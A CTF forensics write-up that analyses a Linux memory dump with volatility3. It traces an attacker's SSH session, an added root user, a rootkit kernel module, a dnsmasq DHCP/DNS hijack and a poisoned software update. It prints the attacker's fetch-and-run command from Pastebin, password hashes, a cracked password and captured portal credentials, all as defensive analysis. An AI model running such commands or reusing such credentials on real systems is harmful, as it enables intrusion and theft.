Holmes CTF - The Tunnel Without Walls

Challenge description: A memory dump from a connected Linux machine reveals covert network connections, fake services, and unusual redirects. Holmes investigates further to uncover how the attacker is manipulating the entire network!
Difficulty: hard
What is the Linux kernel version of the provided image? (string)
First, let’s find the kernel version:
strings memdump.mem | grep "Linux version" | uniq | sort
Linux version 5.10.0-35-amd64 ([email protected]) (gcc-10 (Debian 10.2.1-6) 10.2.1 20210110, GNU ld (GNU Binutils for Debian) 2.35.2) #1 SMP Debian 5.10.237-1 (2025-05-19)
The version is 5.10.0-35-amd64
. Otherwise, we could have find the kernel version with the banners.banners
volatility3 plugin.
5.10.0-35-amd64
For beeing able to use volatility3 on a Linux image, we should build our own profile with de debugging symbols. For our memory image, the version is 5.10.0-35-amd64
. Let’s find the appropriate package in order to build the profile. For Debian, it’s here. As we can see with the previous question, the versions we are looking for are 5.10.0-35-amd64
and 5.10.237-1.

The right Google Dork to do is: "linux-image-5.10.0-35-amd64-dbg_5.10.237-1_amd64" site:debian.org
. Once you know the pattern, you can get many (many) Debian symbols. Then, you can wget
the file and install it:
wget http://security.debian.org/debian-security/pool/updates/main/l/linux/linux-image-5.10.0-35-amd64-dbg_5.10.237-1_amd64.deb
sudo apt install ./linux-image-5.10.0-35-amd64-dbg_5.10.237-1_amd64.deb
./dwarf2json linux --elf /usr/lib/debug/boot/vmlinux-5.10.0-35-amd64 > dbg-symbols/linux-image-5.10.0-35-amd64-dbg_5.10.237-1_amd64.json
mv linux-image-5.10.0-35-amd64-dbg_5.10.237-1_amd64.json ~/tools/volatility3/volatility3/symbols/linux/
Optionally, you could get the profil differently. I love this repo for that. Thanks to this guy who gives us a lot of Linux profiles! Let’s add the REMOTE_ISF_URL so the volatility3/framework/constants/init.py file:
sed -i "s|REMOTE_ISF_URL = None # 'http://localhost:8000/banners.json'|REMOTE_ISF_URL = \"https://raw.githubusercontent.com/leludo84/vol3-linux-profiles/main/banners-isf.json\"|" volatility3/framework/constants/__init__.py
And then you’re ready to go!!
Beware, I don’t know why but the volatility3 symbols of the repo couldn’t get me as far as I wanted during my investigation. For example, I could not manage to get back the files from the memory. So I built my own profile in a second phase as I did above.
The attacker connected over SSH and executed initial reconnaissance commands. What is the PID of the shell they used? (number)
We can use the linux.bash
plugin for the bash history. As we can see on the screen below, we find that the PID 13608 (bash process) executed basic reconnaissance on the host.

We can assume that the PID 13608 is our answer.
13608
After the initial information gathering, the attacker authenticated as a different user to escalate privileges. Identify and submit that user’s credentials. (user:password)
Still inside the linux.bash
output we can see the login command line:
08:18:11
. We know that’s a system user so it might be present on the /etc/passwd
and /etc/shadow
file. Moreover, we can see that before the su jm
command, the attacker mounted the /etc/
directory (of the host machine) inside the docker on the mountpoint /mnt/
. It might indicate that the attacker altered some files inside the /etc/
directory (e.g: /etc/passwd
).
In order to dump the/etc/shadow
and /etc/passwd
file, we need to find their inode number:
I start by dumping all the linux.pagecache.Files
output inside a file:
python3 tools/volatility3/vol.py -f HTB/memdump.mem linux.pagecache.Files > output/filescan.txt
Then inside this file we can see the /etc/shadow
and /etc/passwd
inodes:
0x9b33882a9000 / 8:1 1832530 0x9b33ac036640 REG 1 1 -rw-r----- 2025-09-03 08:20:33.427196 UTC 2025-09-03 08:20:33.419196 UTC 2025-09-03 08:20:33.423196 UTC /etc/shadow 903
Let’s dump it:
python3 tools/volatility3/vol.py -f HTB/memdump.mem linux.pagecache.InodePages --inode 0x9b33ac036640 --dump
cat inode_0x9b33ac036640.dmp
root:$y$j9T$8miOL6M74syg550qAqh99/$tnYwsXUuTDqZt5AipCIfP5uCqfVWKw6CwMTqZx5iVn8:20332:0:99999:7:::
daemon:*:20332:0:99999:7:::
bin:*:20332:0:99999:7:::
sys:*:20332:0:99999:7:::
sync:*:20332:0:99999:7:::
games:*:20332:0:99999:7:::
man:*:20332:0:99999:7:::
lp:*:20332:0:99999:7:::
mail:*:20332:0:99999:7:::
news:*:20332:0:99999:7:::
uucp:*:20332:0:99999:7:::
proxy:*:20332:0:99999:7:::
www-data:*:20332:0:99999:7:::
backup:*:20332:0:99999:7:::
list:*:20332:0:99999:7:::
irc:*:20332:0:99999:7:::
gnats:*:20332:0:99999:7:::
nobody:*:20332:0:99999:7:::
_apt:*:20332:0:99999:7:::
systemd-network:*:20332:0:99999:7:::
systemd-resolve:*:20332:0:99999:7:::
messagebus:*:20332:0:99999:7:::
systemd-timesync:*:20332:0:99999:7:::
sshd:*:20332:0:99999:7:::
werni:$y$j9T$NALDvNDyscDxVlOYFz1VC1$pUjgPUJVgqcHkbn0QZoP8v.Yn4gj08j2PdihrpjF9UA:20332:0:99999:7:::
systemd-coredump:!*:20332::::::
dnsmasq:*:20334:0:99999:7:::
But no evidences of jm
user inside the /etc/shadow
file.
For the /etc/passwd
we can proceed the same way:
python3 tools/volatility3/vol.py -f HTB/memdump.mem linux.pagecache.InodePages --inode 0x9b33ac0378c0 --dump

Bingo, the user’s hash:
jm:$1$jm$poAH2RyJp8ZllyUvIkxxd0:0:0:root:/root:/bin/bash
Let’s put it in a file and run John on it. After 45s it eventually found the password.

WATSON0
The attacker downloaded and executed code from Pastebin to install a rootkit. What is the full path of the malicious file? (/path/filename.ext)
Inside the linux.bash
output, we can see this command line:
wget -q -O- https://pastebin.com/raw/hPEBtinX|sh
My first reflex was to check on the Wayback Machine as the link is not working anymore but it did not work. My second reflex was to check on the /tmp
directory:

Oh! There is a file named default.conf
, how convinient! Let’s dump it:
python3 tools/volatility3/vol.py -f HTB/memdump.mem linux.pagecache.InodePages --inode 0x9b33ac030f20 --dump

A pretty NGINX configuration file. Not useful for now but not for long.
Okay, inside my Volweb instance, we can see a strange module loaded named Nullincrevenge
. That’s an odd name to be a module
Let’s seek it
I think we found our suspicious file!
cat output/filescan.txt| grep "Nullincrevenge.ko"
0x9b33882a9000 / 8:1 298762 0x9b3386454a80 REG 135 39 -rw-r--r-- 2025-09-03 08:18:44.155080 UTC 2025-09-03 08:18:40.799070 UTC 2025-09-03 08:18:40.799070 UTC /usr/lib/modules/5.10.0-35-amd64/kernel/lib/Nullincrevenge.ko 551688
So our file lives in /usr/lib/modules/5.10.0-35-amd64/kernel/lib/Nullincrevenge.ko
/usr/lib/modules/5.10.0-35-amd64/kernel/lib/Nullincrevenge.ko
What is the email account of the alleged author of the malicious file? ([email protected])
Same as before, I dump the Nullincrevenge.ko
file:
python3 tools/volatility3/vol.py -f HTB/memdump.mem linux.pagecache.InodePages --inode 0x9b3386454a80 --dump
And then seek for a email address based on a regex:
The next step in the attack involved issuing commands to modify the network settings and installing a new package. What is the name and PID of the package? (package name,PID)
As we see in the linux.bash
, there’s some references to the dnsmasq
program:

Let’s seek for the dnsmasq
PID inside the process tree:

dnsmasq,38687
Clearly, the attacker’s goal is to impersonate the entire network. One workstation was already tricked and got its new malicious network configuration. What is the workstation’s hostname?
Same as before, I dump the dnsmasq.service
file:

Nothing to see here except that the dnsmasq
package can do DHCP server. The attacker might have created a DHCP server and got some clients. Let’s check for the leases inside the /var/lib/misc/dnsmasq.leases
file (dump it blahblahblah):
Parallax-5-WS-3
After receiving the new malicious network configuration, the user accessed the City of CogWork-1 internal portal from this workstation. What is their username? (string)
For the username, we can admit that there was some HTTP GET or HTTP POST requests upon the internal portal with the password inside. So let’s strings|grep
it :)
First, let’s string
strings memdump.mem | grep "POST /.*HTTP/1.*" | sort | uniq
[...]
POST /index.php HTTP/1.1
[...]
Interesting we have many others but this one looks good!
strings memdump.mem | grep "POST /index.php HTTP/1.1" -A 20
POST /index.php HTTP/1.1
Host: 10.129.232.25:8081
Connection: keep-alive
Content-Length: 43
Cache-Control: max-age=0
Origin: http://10.129.232.25:8081
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.129.232.25:8081/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=189b027ab0e5e10f496e57953544cd74
username=mike.sullivan&password=Pizzaaa1%21
And inside the HTTP request we can finally see the username field: username=mike.sullivan&password=Pizzaaa1%21
.
For this one, we could have cheese the answer. Let’s guess that the parameter inside the POST request for the username is called username. We could have grep on the pattern username=
:
strings memdump.mem | grep "username=" -B 20
POST /index.php HTTP/1.1
Host: 10.129.232.25:8081
Connection: keep-alive
Content-Length: 43
Cache-Control: max-age=0
Origin: http://10.129.232.25:8081
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.129.232.25:8081/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=189b027ab0e5e10f496e57953544cd74
username=mike.sullivan&password=Pizzaaa1%21
And still see the username inside the POST request :)
mike.sullivan
Finally, the user updated a software to the latest version, as suggested on the internal portal, and fell victim to a supply chain attack. From which Web endpoint was the update downloaded?
By filtering on the IP lease we found earlier we can see this:
We have our web endpoint!
/win10/update/CogSoftware/AetherDesk-v74-77.exe
To perform this attack, the attacker redirected the original update domain to a malicious one. Identify the original domain and the final redirect IP address and port. (domain,IP:port)
Inside the dnsmasq.conf
, we can see a redirection:

Breakdown:
- DHCP option 3 is the default gateway. This sets the gateway for clients to
192.168.211.8
. - DHCP option 6 is the DNS server. It tells clients to use
192.168.211.8
for DNS. - no-hosts: Ignores /etc/hosts.
- no-resolv: Ignores /etc/resolv.conf.
- server=8.8.8.8: Forwards DNS queries to Google DNS (8.8.8.8) if not resolved locally.
- address=/updates.cogwork-1.net/192.168.211.8: Forces DNS resolution of updates.cogwork-1.net to 192.168.211.8.
So we have our final answer: the redirection is towards 13.62.49.86 on the port 7477.
updates.cogwork-1.net,13.62.49.86:7477